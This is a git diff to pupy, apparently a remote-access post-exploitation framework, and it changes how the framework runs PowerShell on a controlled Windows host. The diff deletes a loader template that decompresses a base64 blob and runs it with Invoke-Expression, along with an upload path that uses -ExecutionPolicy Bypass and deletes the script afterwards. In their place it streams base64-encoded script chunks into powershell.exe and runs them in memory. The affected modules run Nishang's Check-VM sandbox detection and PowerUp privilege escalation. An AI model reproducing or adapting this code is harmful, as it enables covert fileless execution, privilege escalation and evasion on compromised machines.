diff --git a/pupy/modules/check_vm.py b/pupy/modules/check_vm.py
index 8c3a0b42..3d0b0cf8 100644
--- a/pupy/modules/check_vm.py
+++ b/pupy/modules/check_vm.py
@@ -17,4 +17,4 @@ class CheckVM(PupyModule):
         content = open(os.path.join(ROOT, "external", "Nishang", "Check-VM.ps1"), 'r').read()
         function = 'Check-VM'
         output = execute_powershell_script(self, content, function)
-        self.success("Output of the script: \n%s" % output)
\ No newline at end of file
+        self.success("%s" % output)
\ No newline at end of file
diff --git a/pupy/modules/lib/utils/upload_powershell_script_template.ps1 b/pupy/modules/lib/utils/upload_powershell_script_template.ps1
deleted file mode 100644
index dc8d0d79..00000000
--- a/pupy/modules/lib/utils/upload_powershell_script_template.ps1
+++ /dev/null
@@ -1,10 +0,0 @@
-$base64 = "[BASE64]"
-$data = [System.Convert]::FromBase64String($base64)
-$ms = New-Object System.IO.MemoryStream
-$ms.Write($data, 0, $data.Length)
-$ms.Seek(0,0) | Out-Null
-$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
-$sr = New-Object System.IO.StreamReader($cs)
-$t = $sr.readtoend()
-Invoke-Expression $t
-Invoke-Expression [FUNCTION_NAME]
\ No newline at end of file
diff --git a/pupy/modules/lib/windows/powershell_upload.py b/pupy/modules/lib/windows/powershell_upload.py
index 472fb8ba..7c1a309d 100644
--- a/pupy/modules/lib/windows/powershell_upload.py
+++ b/pupy/modules/lib/windows/powershell_upload.py
@@ -1,54 +1,29 @@
 from rpyc.utils.classic import upload
 import base64
-import tempfile
-import gzip
-import StringIO
+from subprocess import PIPE, Popen
 import subprocess
-import os
-
-ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "..", ".."))
 
 def execute_powershell_script(module, content, function):
-    template = open(os.path.join(ROOT, "modules", "lib", "utils", "upload_powershell_script_template.ps1"), 'r').read()
+    fullargs=["powershell.exe", "-C", "-"]
     
-    # compress the content of the script to upload
-    out = StringIO.StringIO()
-    with gzip.GzipFile(fileobj=out, mode="w") as f:
-      f.write(content)
+    p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
+    p.stdin.write("$base64=\"\""+"\n")
+    n = 20000
+    line = base64.b64encode(content)
+    tab = [line[i:i+n] for i in range(0, len(line), n)]
+    for t in tab:
+        p.stdin.write("$base64+=\"%s\"\n" % t)
+        p.stdin.flush()   
 
-    # encode the gzip content in base64
-    encoded = base64.b64encode(out.getvalue())
-
-    # replace meta data from the template
-    template = template.replace('[BASE64]', encoded)
-    template = template.replace('[FUNCTION_NAME]', function)
+    p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
+    p.stdin.write("Invoke-Expression $d\n")
+    p.stdin.write("$a=Invoke-Expression %s | Format-Table -HideTableHeaders | Out-String\n" % function)
+    p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
+    p.stdin.write("Write-Host $b\n")
     
+    # Get the result
     output = ""
-    # execute of the powershell script in memory if the size is lower of the max size
-    if len(template) < 32710:
-        module.success("Executing the powershell code on memory")
-        cmd = []
-        cmd.append('powershell.exe')
-        cmd.append('/c')
-        cmd.append(template)
-        output = module.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True)
-    else:
-        tf = tempfile.NamedTemporaryFile()
-        f = open(tf.name, 'w')
-        f.write(template)
-        f.close()
-        
-        remoteTempFolder = module.client.conn.modules['os.path'].expandvars("%TEMP%")
-        tfName = tf.name.split(os.sep)
-        tfName = tfName[len(tfName)-1]
-        
-        module.success("Uploading powershell code to: %s\%s.ps1" % (remoteTempFolder, tfName))
-        upload(module.client.conn, tf.name, module.client.conn.modules['os.path'].join(remoteTempFolder, '%s.ps1' % tfName))
-
-        module.success("Executing the powershell code")
-        output = module.client.conn.modules.subprocess.check_output("PowerShell.exe -ExecutionPolicy Bypass -File %s.ps1"%(module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
-        
-        module.success("Removing the powershell code")
-        module.client.conn.modules.subprocess.check_output("cmd.exe del %s.ps1" % (module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
-
+    for i in p.stdout.readline():
+        output += i
+    output = base64.b64decode(output)
     return output
\ No newline at end of file
diff --git a/pupy/modules/powerup.py b/pupy/modules/powerup.py
index 1669eb64..7332b680 100644
--- a/pupy/modules/powerup.py
+++ b/pupy/modules/powerup.py
@@ -23,4 +23,4 @@ class PowerUp(PupyModule):
         
         # parse output depending on the PowerUp output
         output = output.replace('\r\n\r\n\r\n', '\r\n\r\n').replace("\n\n", "\n").replace("\n\n", "\n")
-        self.success("Output of the script: \n%s" % output)
\ No newline at end of file
+        self.success("%s" % output)
\ No newline at end of file